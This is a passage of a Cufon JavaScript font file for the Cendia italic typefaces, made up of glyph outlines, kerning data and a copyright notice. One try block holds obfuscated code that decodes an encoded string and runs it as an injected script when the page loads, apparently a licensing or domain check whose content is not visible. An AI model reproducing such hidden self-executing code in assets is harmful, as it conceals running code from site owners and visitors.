53,-7r-5,37v16,-15,35,-33,60,-33v31,0,34,23,29,47r-15,87v0,5,1,11,4,11v9,0,19,-19,23,-26","w":176},{"d":"131,-290r-41,43r-15,0r18,-43r38,0xm121,-230r-1,12r-24,7r-34,192r22,7r0,12r-78,0r0,-12r24,-7r34,-192r-22,-7r0,-12r79,0","w":126},{"d":"188,-273v0,22,-16,31,-36,31v-20,0,-36,-9,-36,-31v0,-22,16,-31,36,-31v20,0,36,9,36,31xm221,0r-71,0r0,-12r17,-7v1,-24,-4,-41,-7,-61r-86,0v-7,21,-24,32,-23,61v8,4,18,5,15,19r-62,0r0,-12r19,-7r108,-209r35,-6r39,215v8,4,19,4,16,19xm171,-273v0,-12,-7,-19,-19,-19v-13,0,-19,6,-19,19v0,11,8,18,19,18v12,0,19,-6,19,-18xm157,-98r-19,-111r-55,111r74,0","w":225,"k":{"T":11,"G":-6}},{"d":"175,-247r-14,0r-41,-43r37,0xm237,-139v0,76,-58,144,-134,144v-58,0,-92,-42,-92,-96v0,-74,56,-143,134,-143v59,0,92,41,92,95xm201,-133v0,-41,-18,-81,-67,-81v-58,0,-89,65,-89,116v0,42,20,83,68,83v59,0,88,-66,88,-118","w":236},{"d":"209,-270v1,19,-32,22,-32,2v-1,-19,32,-22,32,-2xm127,-270v1,20,-31,21,-32,2v0,-19,32,-22,32,-2xm257,-218r-25,7v-25,95,2,214,-126,214v-45,0,-95,-10,-83,-77r23,-137r-21,-7r-1,-12r77,0r0,12r-23,7r-23,132v-8,46,19,59,61,59v98,0,73,-115,96,-191r-22,-7r0,-12r66,0","w":235,"k":{"A":22}},{"d":"195,-218r-155,200v37,0,75,1,103,-8r13,-21r23,0r-17,47r-166,0r0,-12r156,-199v-33,-1,-63,1,-88,8r-10,20r-21,0r10,-47r152,0r0,12","w":195,"k":{"\u00c1":11,"\u00c2":11,"\u00c3":11,"\u00c0":11,"\u00f5":7,"\u00f6":7,"\u00f4":7,"\u00f2":7,"\u00f3":7,"\u00e5":7,"\u00e3":7,"\u00e4":7,"\u00e2":7,"\u00e0":7,"\u00e1":7,"\u00c5":11,"\u00c4":11,"o":7,"a":7,"A":11}},{"d":"138,48r-134,0r0,-20r134,0r0,20","w":141},{"d":"189,-186v0,37,-22,53,-48,59v25,3,44,21,44,47v-3,88,-92,82,-179,80r0,-12r22,-7r34,-192r-20,-7r0,-12v60,4,147,-19,147,44xm157,-182v0,-30,-31,-33,-63,-31r-14,81v43,2,77,-1,77,-50xm152,-76v0,-34,-37,-41,-75,-38r-15,87v5,5,9,9,21,9v39,0,69,-17,69,-58","w":196,"k":{"U":-8,"A":9}},{"d":"151,-218v0,7,-6,13,-14,13v-8,0,-15,-6,-15,-13v0,-7,7,-13,15,-13v8,0,14,6,14,13xm89,-218v0,7,-6,13,-14,13v-8,0,-15,-6,-15,-13v0,-7,7,-13,15,-13v8,0,14,6,14,13xm97,-162v38,0,57,24,57,60v0,50,-30,105,-86,105v-39,0,-57,-26,-57,-62v0,-51,34,-103,86,-103xm90,-147v-40,0,-49,54,-49,86v0,25,8,48,35,48v39,0,48,-55,48,-84v0,-26,-8,-50,-34,-50","w":169,"k":{"\u00f5":6,"Y":18,"T":30}},{"d":"131,-212v0,25,-31,49,-46,67r-8,-7v12,-13,20,-23,26,-35v-19,-9,-21,-43,7,-43v10,0,21,7,21,18xm64,-212v0,25,-30,50,-46,67r-7,-7v12,-13,20,-23,26,-35v-20,-8,-21,-44,7,-43v10,0,20,7,20,18","w":141},{"d":"143,-230r-49,44r-15,0r26,-44r38,0xm139,-132v0,42,-54,59,-100,59v-9,61,61,65,85,27r7,10v-19,23,-37,39,-68,39v-37,0,-54,-28,-54,-63v0,-48,40,-102,94,-102v18,0,36,10,36,30xm112,-130v0,-11,-6,-18,-16,-18v-33,0,-49,35,-55,64v30,-3,71,-18,71,-46","w":147,"k":{"\u00e8":6,"T":32}},{"d":"156,-187v-9,-1,-20,1,-19,-9v-14,-26,-74,-30,-75,17v0,39,87,55,87,107v0,77,-77,83,-143,69r8,-45r17,0v0,22,12,33,33,33v24,0,51,-13,51,-46v0,-43,-84,-56,-84,-105v0,-70,67,-70,125,-61r0,40","w":155,"k":{"W":-19,"U":-21,"O":-8,"&":-7}},{"d":"221,0r-71,0r0,-12r17,-7v1,-24,-4,-41,-7,-61r-86,0v-7,21,-24,32,-23,61v8,4,18,5,15,19r-62,0r0,-12r19,-7r108,-209r35,-6r39,215v8,4,19,4,16,19xm157,-98r-19,-111r-55,111r74,0","w":225,"k":{"w":16,"U":-4,"T":11,"G":-6,"'":9}},{"d":"341,-218r-20,8r-113,210r-30,0r-25,-118r-62,118r-31,0r-46,-209v-8,-5,-21,-5,-18,-21r77,0r0,12r-20,7v3,69,24,120,34,182r59,-116r-14,-64v-8,-5,-21,-5,-18,-21r77,0r0,12r-20,7v3,69,25,119,35,180r83,-159r0,-21r-18,-7r0,-12r70,0r0,12","w":336,"k":{"\u00c1":40,"\u00c2":40,"\u00c3":40,"\u00c0":40,"\u00e6":40,"\u00c6":66,"\u00f5":36,"\u00f6":36,"\u00f4":36,"\u00f2":36,"\u00f3":36,"\u00eb":40,"\u00ea":40,"\u00e8":36,"\u00e9":40,"\u00e5":40,"\u00e3":40,"\u00e4":40,"\u00e2":40,"\u00e0":40,"\u00e1":40,"\u00c5":40,"\u00c4":40,"z":22,"y":22,"x":18,"w":14,"v":18,"u":18,"t":18,"s":40,"r":18,"q":40,"p":18,"o":36,"n":18,"m":18,"j":11,"i":11,"g":36,"f":18,"e":40,"d":40,"c":40,"a":40,"O":11,"L":17,"K":14,"I":17,"F":11,"E":17,"A":45,";":18,":":18,".":18,",":18,"&":27}},{"d":"237,-139v0,91,-69,158,-159,140r-10,22r-19,0r13,-27v-32,-15,-51,-47,-51,-87v0,-90,66,-155,159,-140r10,-21r19,0r-12,26v32,15,50,48,50,87xm88,-19v95,31,148,-117,87,-182xm160,-210v-96,-31,-151,118,-87,182","w":236,"k":{"A":29}},{"d":"82,-144v0,26,-42,28,-43,2v0,-24,42,-28,43,-2xm54,-17v0,24,-30,52,-46,67r-7,-8v12,-13,20,-22,26,-34v-20,-8,-21,-44,7,-43v10,0,20,7,20,18","w":90},{"d":"86,-186r-14,0r-41,-44r37,0","w":117},{"d":"168,-290r-41,43r-15,0r18,-43r38,0xm184,-230r0,45r-19,0r-7,-23v-17,-5,-40,-4,-62,-4r-14,82r51,0v5,-8,8,-18,24,-15r-8,50r-15,0r-4,-17r-52,0r-15,85v11,19,53,8,73,3r15,-23r20,0r-13,47r-152,0r0,-12r24,-7r34,-191r-22,-8r0,-12r142,0","w":184},{"d":"113,-254r-63,356r-62,0r2,-12r31,0r59,-333r-32,0r2,-11r63,0","w":121},{"d":"184,-230r0,45r-19,0r-7,-23v-17,-5,-40,-4,-62,-4r-14,82r51,0v5,-8,8,-18,24,-15r-8,50r-15,0r-4,-17r-52,0r-15,85v11,19,53,8,73,3r15,-23r20,0r-13,47r-152,0r0,-12r24,-7r34,-191r-22,-8r0,-12r142,0","w":184,"k":{"x":5,"v":7,"s":7,"c":7,"a":7,"N":2,"A":10}},{"d":"261,-230r-1,12r-24,8r-37,210r-24,0r-98,-189r-30,170r21,7r0,12r-62,0r0,-12r22,-7r34,-191r-21,-8r0,-12r52,0r96,180r28,-160v-8,-5,-24,-3,-20,-20r64,0","w":256,"k":{"\u00c1":14,"\u00c2":14,"\u00c3":14,"\u00c0":14,"\u00f5":11,"\u00f6":11,"\u00f4":11,"\u00f2":11,"\u00f3":11,"\u00e5":11,"\u00e3":11,"\u00e4":11,"\u00e2":11,"\u00e0":11,"\u00e1":11,"\u00c5":14,"\u00c4":14,"o":11,"e":25,"a":11,"V":-15,"Q":10,"N":4,"A":14}},{"d":"220,-218r-20,8r-111,210r-30,0r-45,-209v-8,-5,-21,-5,-18,-21r77,0r0,12r-20,7v1,70,23,121,32,183r85,-163r0,-21r-18,-6r1,-12r67,0r0,12","w":216,"k":{"\u00c1":40,"\u00c2":40,"\u00c3":40,"\u00c0":40,"\u00f8":52,"\u00e6":52,"\u00c6":70,"\u00f5":36,"\u00f6":36,"\u00f4":36,"\u00f2":36,"\u00f3":36,"\u00eb":40,"\u00ea":40,"\u00e8":40,"\u00e9":40,"\u00e5":40,"\u00e3":40,"\u00e4":40,"\u00e2":40,"\u00e0":40,"\u00e1":40,"\u00c5":40,"\u00c4":40,"o":36,"i":11,"e":52,"a":40,"O":11,"I":21,"E":19,"A":40,"&":18}},{"d":"245,-218r-17,5r-83,90r63,104r17,7r0,12r-82,0r0,-12r16,-5r0,-14r-41,-69r-61,69r0,15r17,4r0,12r-74,0r0,-12r18,-7r91,-97r-56,-94v-8,-5,-20,-4,-17,-20r78,0r0,12r-16,4r0,13r37,62r57,-64r0,-12r-15,-3r0,-12r68,0r0,12","w":241,"k":{"\u00c6":14,"\u00e5":18,"\u00e3":18,"\u00e4":18,"\u00e2":18,"\u00e0":18,"\u00e1":18,"y":18,"w":18,"v":18,"a":18,"C":17,"-":18}},{"d":"147,-243r-132,275r-21,0r131,-275r22,0","w":138}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+-29-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("aZQ&c17`K>m_aeWgw1yVFZFmS(7&Q1m_S(jVK>RuQhoIs)`ES#TkXZhES#TkXZXPS#TkXZsVS#TkXZTpwhl&X@6W7&l&X@6EsWl&X@6bQWl&X@61s&l&X@6E}yl&X@6~X&l&X@6EXyl&X@6WQWl&X@6b7Wl&X@6E7yl&X@6~shl&X@61}hl&X@6~Qhl&X@6W7Wl&X@6WX&l&X@6vQu~NS#TkXZT`Myl&X@6b7]WPS#TkXZ]VMWl&X@6vQ>&~S#TkXZ?lS#TkXZhb7yl&X@6WXZ~fS#TkXZF(NWl&X@6vs&l&Xvjv7h2GwB[ks)Rl>&l&X@6E7&l&X@6~Qyl&X@6bsW6GwB[kQ@WGwB[kQv7GwB[ksByGwB[ksBWGwB[ksvyGwB[kQ@hGwB[kQBTVS#TkXZyE}hl&X@6vXhl&X@61s|sD7Wl&X@6~}yl&X@6~Xe&GwB[kQvTPS#TkXZj1Fyl&X@6vX@~)ayl&X@6vX&l&X@6WQSIfS#TkXZTlw]QGwB[kQ1QGwB[kQ>]Uh@7GwB[kQ>78S#TkXZQE|ElRRyl&X@61Xhl&X@6v}ZQGwB[ks1yGwB[kQ@7GwB[ksB[6e@]yZ#FjaNX7}8?R|BTh>SsQKcGwYML~EvbW1u:,9;I^_rklV)`&(Pp2fgomUDwGwB[ks>X~8SQ@ahl&X@6vshl&X@6vsEw|GE^W8yl&X@6vXWlGS#TkXZs`abwGwB[kQv~u7T6GwB[kQZyXYB6GwB[ks)QvQ#&GwB[kQBjh}`&Qj|XlK1^IKS6E|eRrcWl&X@6vQyl&X@6v7hl&X@6bXWl&X@6bs&,M?Wl&X@617WkES#TkXZT2T`ySS#TkXZ?pS#TkX)wWsyl&X@6v}h&yBWQsSeoENu7kcZW`aeFEa|l,8B[IG@&ENu[Ic@&kN1lWc1w`Kelu8>F_QE2uc#WkK#XmYP`gK>s:sE2rK)`rSELD}uwPw&k_aBo:8):_a&k_K>RWSe2bKPk_a&k_wZh)wZWbQhk_QZ^oNE^GN1WbQS6VK>2`Se2bKPk_a&k_wZh)wZWbQS6VK>2`Se2bKVbbN(b_wZh)we~Ic(7~wZWrcE2:cP7`c1y^Q|b,Q1mVa@^,8ZkgaV^,a>wcs&^,Sh`mGy^,SS`,aebL")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":172,"face":{"font-family":"Cendia","font-weight":400,"font-style":"italic","font-stretch":"normal","units-per-em":"360","panose-1":"2 0 5 0 8 0 0 9 0 4","ascent":"288","descent":"-72","x-height":"3","bbox":"-29 -304 341 114","underline-thickness":"7.2","underline-position":"-28.8","slope":"-12","stemh":"17","stemv":"29","unicode-range":"U+0020-U+00FF"}}));
/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Copyright � 2001, Jonas Hecksher / e-Types AS. All rights reserved.
 * 
 * Trademark:
 * Cendia Bold Italic is a trademark of the Jonas Hecksher / e-Types AS.
 * 
 * Description:
 * Copyright  2001, Jonas Hecksher / e-Types AS. All rights reserved.
 * 
 * Manufacturer:
 * Jonas Hecksher / e-Types AS
 * 
 * Designer:
 * Jonas Hecksher
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"134,-85r-58,61r-16,0r35,-61r-9,-62r14,0xm81,-85r-59,62r-15,0r35,-62r-9,-62r14,0","w":144},{"d":"75,3v-41,0,-64,-25,-64,-66v0,-53,49,-99,93,-99v40,0,63,21,63,63v0,54,-47,102,-92,102xm96,-145v-32,0,-42,60,-42,85v0,28,9,46,29,46v31,0,41,-62,41,-85v0,-28,-9,-46,-28,-46xm118,-186r-15,0r-49,-44r38,0","w":181,"k":{"\u00f4":6,"Y":18,"T":30}},{"d":"66,-21v57,0,45,-72,59,-119v-4,-4,-7,-9,-14,-10v-37,0,-62,63,-62,99v0,15,6,30,17,30xm165,-155r-23,129v0,4,2,7,6,7v9,0,20,-19,24,-24r10,8v-9,13,-28,38,-56,38v-20,1,-24,-15,-21,-34v-14,16,-32,34,-52,34v-21,0,-42,-12,-42,-45v0,-48,46,-120,97,-120v30,0,46,4,57,7","k":{"w":10,"s":5}},{"d":"0,23v0,-54,43,-72,76,-76v16,-2,18,-25,20,-41r15,7r-6,56v-29,0,-61,15,-66,43v-4,22,4,44,29,42v13,-11,20,-32,39,-36v13,0,22,9,22,21v0,24,-55,29,-71,29v-27,0,-58,-13,-58,-45xm86,-140v-3,-26,46,-38,47,-8v3,27,-46,39,-47,8","w":151},{"d":"235,-218r-19,7r-121,211r-29,0r-45,-211v-8,-4,-19,-4,-16,-19r80,0r0,12r-17,7v4,64,21,113,30,172r86,-156r0,-16v-7,-4,-17,-5,-14,-19r65,0r0,12","w":225,"k":{"\u00c1":40,"\u00c2":40,"\u00c3":40,"\u00c0":40,"\u00f8":52,"\u00e6":52,"\u00c6":70,"\u00f5":36,"\u00f6":36,"\u00f4":36,"\u00f2":36,"\u00f3":36,"\u00eb":40,"\u00ea":40,"\u00e8":40,"\u00e9":40,"\u00e5":40,"\u00e3":40,"\u00e4":40,"\u00e2":40,"\u00e0":40,"\u00e1":40,"\u00c5":40,"\u00c4":40,"o":36,"i":11,"e":52,"a":40,"O":11,"I":21,"E":19,"A":40,"&":18}},{"d":"122,-69v-23,1,-52,0,-57,32v-2,9,-6,69,-9,88v-8,46,-49,56,-83,51r-3,-9v24,-1,38,-5,45,-40v11,-57,-4,-134,62,-128r0,-2v-72,0,-23,-79,-16,-128v5,-35,-7,-39,-31,-40r5,-9v36,-5,73,5,65,51v-3,19,-20,79,-21,88v-6,32,23,31,46,32","w":129},{"d":"159,-132v0,36,-73,57,-108,62v-1,29,8,50,36,50v19,0,36,-17,49,-30r8,10v-19,23,-41,43,-72,43v-26,0,-61,-14,-61,-63v0,-48,41,-102,104,-102v19,0,44,8,44,30xm121,-135v0,-9,-8,-13,-17,-13v-32,0,-47,35,-52,66v30,-5,69,-19,69,-53xm146,-184v-22,2,-23,-17,-34,-26v-15,9,-19,28,-45,26r39,-46r17,0","w":171,"k":{"\u00eb":6,"T":7}},{"d":"172,-36v-9,17,-24,39,-46,39v-16,1,-31,-16,-26,-36v-13,14,-36,36,-57,36v-24,0,-34,-20,-29,-48r18,-93v-4,-6,-12,-9,-21,-10r0,-11r61,-7r-23,133v0,9,4,11,13,11v8,0,33,-20,41,-30r18,-107r37,0r-22,133v0,5,1,9,3,9v9,0,18,-19,23,-26xm143,-230r-49,44r-15,0r26,-44r38,0","w":175},{"d":"245,-138v0,65,-65,138,-148,138r-93,0r0,-12r24,-7r34,-192r-22,-7r0,-12v100,-1,205,-11,205,92xm199,-139v0,-60,-39,-74,-96,-72r-32,182v5,4,6,10,16,10v66,0,112,-57,112,-120","w":255,"k":{"\u00c1":14,"\u00c2":14,"\u00c3":14,"\u00c0":14,"\u00c5":14,"\u00c4":14,"a":9,"V":-10,"A":14}},{"d":"64,-61r130,-122v-9,-21,-24,-37,-51,-37v-63,0,-92,92,-79,159xm199,-168r-130,123v8,20,23,35,52,35v62,0,94,-93,78,-158xm265,-230r-33,31v74,109,-76,267,-189,179v-11,10,-18,24,-43,20r33,-31v-73,-109,76,-264,189,-179v11,-10,18,-24,43,-20","w":264,"k":{"A":29}},{"d":"208,-176r-16,0v-8,-17,-26,-37,-46,-37v-59,0,-87,66,-87,119v0,42,13,74,58,74v30,0,52,-22,63,-39r11,10v-21,27,-48,52,-87,52v-57,0,-90,-35,-90,-92v1,-93,90,-168,194,-135r0,48xm95,66v-14,4,-21,-17,-6,-18v9,8,26,14,27,-6v0,-8,-9,-12,-16,-14r6,-34r7,0r2,20v8,3,18,8,18,18v0,22,-18,34,-38,34","w":207},{"d":"75,3v-41,0,-64,-25,-64,-66v0,-53,49,-99,93,-99v40,0,63,21,63,63v0,54,-47,102,-92,102xm96,-145v-32,0,-42,60,-42,85v0,28,9,46,29,46v31,0,41,-62,41,-85v0,-28,-9,-46,-28,-46xm159,-237v12,13,-15,44,-25,47v-16,0,-37,-15,-49,-15v-11,0,-15,10,-22,18v-13,-10,10,-41,21,-43v16,0,43,15,51,15v12,0,17,-13,24,-22","w":181,"k":{"T":30}},{"d":"172,-36v-9,17,-24,39,-46,39v-16,1,-31,-16,-26,-36v-13,14,-36,36,-57,36v-24,0,-34,-20,-29,-48r18,-93v-4,-6,-12,-9,-21,-10r0,-11r61,-7r-23,133v0,9,4,11,13,11v8,0,33,-20,41,-30r18,-107r37,0r-22,133v0,5,1,9,3,9v9,0,18,-19,23,-26xm144,-217v0,19,-32,21,-33,2v0,-19,32,-21,33,-2xm86,-217v0,19,-32,22,-32,2v0,-19,32,-22,32,-2","w":175},{"d":"66,-21v57,0,45,-72,59,-119v-4,-4,-7,-9,-14,-10v-37,0,-62,63,-62,99v0,15,6,30,17,30xm128,58r19,5r-2,12r-84,0r2,-12r27,-6r16,-88v-14,16,-33,34,-53,34v-21,0,-42,-12,-42,-45v0,-48,46,-120,97,-120v11,0,44,3,57,3"},{"d":"127,-230r0,12r-24,7r-34,192r22,7r0,12r-87,0r0,-12r24,-7r34,-192r-22,-7r0,-12r87,0","w":120,"k":{"\u00e5":11,"\u00e3":11,"\u00e4":11,"\u00e2":11,"\u00e0":11,"\u00e1":11,"t":11,"r":11,"n":11,"m":11,"l":7,"g":18,"d":14,"c":14,"a":11,"V":-17}},{"d":"63,-213v0,25,-30,50,-51,69r-8,-7v8,-9,21,-22,27,-33v-18,-10,-20,-48,8,-49v14,0,24,8,24,20","w":80},{"d":"228,-137v0,75,-59,140,-135,140v-56,0,-89,-37,-89,-94v0,-75,58,-140,135,-140v56,0,89,37,89,94xm211,-136v0,-50,-27,-82,-75,-82v-67,0,-115,61,-115,125v0,50,27,83,75,83v68,0,115,-62,115,-126xm167,-154r-15,0v-1,-13,-14,-20,-26,-20v-36,0,-52,38,-52,70v0,47,56,64,77,28r7,7v-27,44,-108,27,-108,-32v0,-58,55,-99,117,-78r0,25","w":231},{"d":"66,-21v57,0,45,-72,59,-119v-4,-4,-7,-9,-14,-10v-37,0,-62,63,-62,99v0,15,6,30,17,30xm165,-155r-23,129v0,4,2,7,6,7v9,0,20,-19,24,-24r10,8v-9,13,-28,38,-56,38v-20,1,-24,-15,-21,-34v-14,16,-32,34,-52,34v-21,0,-42,-12,-42,-45v0,-48,46,-120,97,-120v30,0,46,4,57,7xm157,-184v-22,2,-23,-17,-34,-26v-15,9,-19,28,-45,26r39,-46r17,0","k":{"T":14}},{"d":"67,-120v4,30,-51,42,-53,9v-3,-30,52,-44,53,-9","w":81},{"d":"35,114r-23,0r63,-353r23,0","w":119},{"d":"112,5v-58,0,-98,-39,-98,-98v0,-78,63,-141,140,-141v59,0,97,37,97,97v0,78,-61,142,-139,142xm143,-220v-52,0,-82,76,-82,122v0,37,7,88,60,88v52,0,82,-76,82,-122v0,-38,-13,-88,-60,-88xm197,-287r-49,43r-15,0r26,-43r38,0","w":264},{"d":"116,-243v-48,81,-78,160,-58,270r-13,0v-18,-28,-31,-71,-31,-105v0,-59,47,-124,88,-165r14,0","w":108},{"d":"191,-230r0,45r-20,0v-9,-22,-32,-31,-68,-27r-14,82r40,0v10,-6,16,-18,35,-15r-8,50v-19,3,-22,-9,-30,-17r-41,0r-15,85v9,18,44,7,62,3v14,-9,19,-27,46,-23r-13,47r-161,0r0,-12r24,-7r34,-191r-22,-8r0,-12r151,0","w":194,"k":{"x":5,"v":7,"s":7,"c":7,"a":7,"N":2,"A":10}},{"d":"117,-166v14,0,26,4,26,22v0,18,-23,30,-36,17r-14,-14v-6,1,-17,11,-25,18r-22,123r-38,0r25,-135v-5,-6,-15,-8,-24,-10r0,-12r67,-9r-4,26v16,-17,29,-26,45,-26","w":137,"k":{"\u00f5":-11,"\u00f6":-11,"\u00f4":-11,"\u00f2":-11,"\u00f3":11,"\u00e5":11,"\u00e3":11,"\u00e4":11,"\u00e2":11,"\u00e0":11,"\u00e1":11,"t":-8,"o":11,"g":-5,"e":11,"d":14,"c":11,"a":11,";":11,",":11}},{"d":"183,-219r-25,0r-42,263r-14,0r41,-263r-30,0r-41,263r-15,0r27,-167v-29,0,-61,-8,-61,-43v1,-75,86,-65,161,-64","w":180},{"d":"66,-21v57,0,45,-72,59,-119v-4,-4,-7,-9,-14,-10v-37,0,-62,63,-62,99v0,15,6,30,17,30xm180,-239r-38,213v0,4,2,7,6,7v9,0,20,-19,24,-24r10,8v-9,13,-28,38,-56,38v-20,1,-24,-15,-21,-34v-14,16,-32,34,-52,34v-21,0,-42,-12,-42,-45v0,-53,48,-133,117,-119v4,-24,20,-59,-15,-58r0,-11"},{"d":"199,-90v1,-31,-9,-74,23,-75v18,-1,30,19,21,36r-72,129r-37,0r-11,-69r-38,69r-37,0r-21,-127v-5,-7,-13,-12,-27,-11r0,-10r59,-15r22,134r32,-61v1,-31,-9,-74,23,-75v22,0,29,20,18,40r14,96","w":243},{"d":"180,-148r-45,0v37,43,-22,99,-69,91v-4,5,-18,30,-1,30v43,0,93,5,91,42v-2,50,-59,71,-103,71v-24,0,-63,-5,-63,-34v0,-23,29,-37,54,-36v-26,13,-19,58,18,52v23,-3,51,-10,51,-43v0,-19,-17,-17,-35,-17v-24,0,-57,-2,-61,-32r36,-35v-16,0,-47,-14,-47,-40v0,-59,73,-75,121,-54v18,-10,25,-33,53,-33r0,38xm107,-118v0,-17,-11,-29,-23,-29v-25,0,-39,17,-39,49v0,20,13,26,22,26v28,0,40,-15,40,-46","w":164,"k":{"\u00e5":4,"\u00e3":4,"\u00e4":4,"\u00e2":4,"\u00e0":4,"\u00e1":4,"a":4}},{"d":"93,-106r-7,22r-76,0r7,-22r76,0","w":103},{"d":"162,-107v0,70,-81,138,-160,99r35,-202v-5,-6,-14,-7,-22,-9r0,-11r65,-9r-17,102v9,-10,27,-25,45,-25v33,0,54,24,54,55xm121,-99v0,-50,-43,-46,-61,-20r-17,95v6,3,7,11,17,11v39,0,61,-47,61,-86","w":175,"k":{"a":1}},{"d":"66,-21v57,0,45,-72,59,-119v-4,-4,-7,-9,-14,-10v-37,0,-62,63,-62,99v0,15,6,30,17,30xm165,-155r-23,129v0,4,2,7,6,7v9,0,20,-19,24,-24r10,8v-9,13,-28,38,-56,38v-20,1,-24,-15,-21,-34v-14,16,-32,34,-52,34v-21,0,-42,-12,-42,-45v0,-48,46,-120,97,-120v30,0,46,4,57,7xm173,-237v12,13,-15,44,-25,47v-16,0,-37,-15,-49,-15v-11,0,-15,10,-22,18v-13,-10,11,-41,22,-43v16,0,42,15,50,15v12,0,17,-13,24,-22","k":{"T":14}},{"d":"152,-141v-8,29,-41,35,-59,55r28,63r20,0r0,10r-47,16r-29,-67r-30,23v1,22,1,44,-20,44v-18,0,-27,-24,-14,-35r58,-45r-25,-60r-20,0r0,-11r46,-14r27,63r25,-19v-2,-23,2,-43,23,-43v11,0,17,9,17,20","w":151},{"d":"131,-165v17,-1,26,21,18,36v-11,20,-69,160,-104,195v-10,17,-44,27,-46,-1v-1,-20,22,-19,42,-18v5,-8,13,-23,17,-33r-36,-141v-5,-7,-13,-12,-27,-11r0,-10r58,-15r31,133r25,-53v3,-32,-11,-80,22,-82","w":152,"k":{"z":8,"g":-4}},{"d":"162,-104r21,-107r-9,0r-80,107r68,0xm150,-210v-8,-5,-23,-3,-19,-20r177,0r0,45r-20,0v-10,-21,-32,-31,-68,-27r-15,82r41,0v10,-6,16,-18,35,-15r-8,50v-19,3,-23,-9,-30,-17r-41,0r-15,85v9,18,44,7,62,3v13,-9,19,-27,45,-23r-13,47r-161,0r0,-12r25,-7r13,-67r-78,0r-38,51r0,16v7,4,17,5,14,19r-70,0r0,-12r19,-7","w":311},{"d":"76,-166r-23,129v-1,7,-3,18,5,18v14,0,22,-37,33,-16v-9,13,-28,38,-55,38v-22,0,-25,-15,-20,-42r17,-96v-5,-6,-15,-8,-24,-10r0,-12xm104,-217v0,19,-32,22,-32,2v0,-19,32,-22,32,-2xm47,-217v0,19,-32,21,-33,2v0,-19,32,-21,33,-2","w":95},{"d":"75,3v-41,0,-64,-25,-64,-66v0,-53,49,-99,93,-99v40,0,63,21,63,63v0,54,-47,102,-92,102xm96,-145v-32,0,-42,60,-42,85v0,28,9,46,29,46v31,0,41,-62,41,-85v0,-28,-9,-46,-28,-46xm146,-184v-22,2,-23,-17,-34,-26v-15,9,-19,28,-45,26r39,-46r17,0","w":181,"k":{"\u00f6":6,"Y":18,"T":30}},{"d":"126,-217v0,19,-32,21,-33,2v0,-19,32,-21,33,-2xm68,-217v0,19,-32,22,-32,2v0,-19,32,-22,32,-2","w":161},{"d":"162,-181r-46,23r13,43r-8,5r-29,-32r-40,32r-6,-5r28,-43r-38,-23r3,-8r47,6r17,-47r9,0r0,47r49,-6","w":190},{"d":"216,0r-80,0r0,-12r17,-7v1,-24,-5,-41,-8,-61r-85,0v-7,21,-24,32,-23,61v7,4,17,5,14,19r-65,0r0,-12r19,-7r108,-209r48,-6r39,215v8,4,19,4,16,19xm143,-98r-19,-111r-55,111r74,0xm183,-287r-49,43r-15,0r26,-43r38,0","w":225,"k":{"T":11,"G":-6}},{"d":"172,-36v-9,17,-24,39,-46,39v-16,1,-31,-16,-26,-36v-13,14,-36,36,-57,36v-24,0,-34,-20,-29,-48r18,-93v-4,-6,-12,-9,-21,-10r0,-11r61,-7r-23,133v0,9,4,11,13,11v8,0,33,-20,41,-30r18,-107r37,0r-22,133v0,5,1,9,3,9v9,0,18,-19,23,-26xm139,-184v-22,2,-23,-17,-34,-26v-15,9,-19,28,-45,26r39,-46r17,0","w":175},{"d":"191,-230r0,45r-20,0v-9,-22,-32,-31,-68,-27r-14,82r40,0v10,-6,16,-18,35,-15r-8,50v-19,3,-22,-9,-30,-17r-41,0r-15,85v9,18,44,7,62,3v14,-9,19,-27,46,-23r-13,47r-161,0r0,-12r24,-7r34,-191r-22,-8r0,-12r151,0xm161,-242v-22,2,-23,-17,-35,-25v-15,8,-19,27,-44,25r39,-46r17,0","w":194},{"d":"67,-26v4,30,-51,42,-53,9v-3,-30,52,-44,53,-9xm89,-146v4,30,-51,43,-52,9v-3,-30,50,-42,52,-9","w":81},{"d":"167,-80v0,48,-42,83,-89,83v-38,0,-70,-22,-70,-60v0,-67,66,-119,114,-154r12,8v-43,37,-86,76,-86,146v0,24,10,43,36,43v32,0,42,-31,42,-60v0,-27,-24,-42,-53,-36r8,-16v38,-8,86,8,86,46","w":172},{"d":"76,-166r-23,129v-1,7,-3,18,5,18v14,0,22,-37,33,-16v-9,13,-28,38,-55,38v-22,0,-25,-15,-20,-42r17,-96v-5,-6,-15,-8,-24,-10r0,-12xm103,-230r-49,44r-14,0r26,-44r37,0","w":95},{"d":"13,72v14,-61,33,-116,51,-173r15,0r-13,120r-8,47xm55,-140v-3,-26,45,-38,47,-8v3,27,-45,39,-47,8","w":93},{"d":"138,-147r-35,61r8,62r-13,0r-34,-62r58,-61r16,0xm84,-147r-35,62r9,62r-14,0r-33,-62r58,-62r15,0","w":144},{"d":"67,-120v4,30,-51,42,-53,9v-3,-30,52,-44,53,-9","w":81},{"d":"155,-51v-5,13,-25,59,-51,59v-28,0,-42,-27,-61,-27v-24,0,-26,28,-39,14v19,-48,75,-80,101,-124v-17,16,-37,7,-60,2v-15,-2,-23,27,-33,12v6,-13,21,-46,46,-46v27,0,51,22,71,2r9,4v-11,46,-68,87,-96,122v10,-5,21,-10,34,-10v15,0,23,15,40,15v13,0,27,-21,31,-29","w":157},{"d":"216,0r-80,0r0,-12r17,-7v1,-24,-5,-41,-8,-61r-85,0v-7,21,-24,32,-23,61v7,4,17,5,14,19r-65,0r0,-12r19,-7r108,-209r48,-6r39,215v8,4,19,4,16,19xm143,-98r-19,-111r-55,111r74,0xm187,-274v0,18,-32,20,-32,1v0,-18,32,-20,32,-1xm130,-274v0,18,-32,20,-32,1v0,-19,32,-19,32,-1","w":225,"k":{"T":11,"G":-6}},{"d":"159,-85r-51,0r-9,50r-22,0r9,-50r-46,0r3,-20r47,0r8,-49r22,0r-9,49r51,0xm144,0r-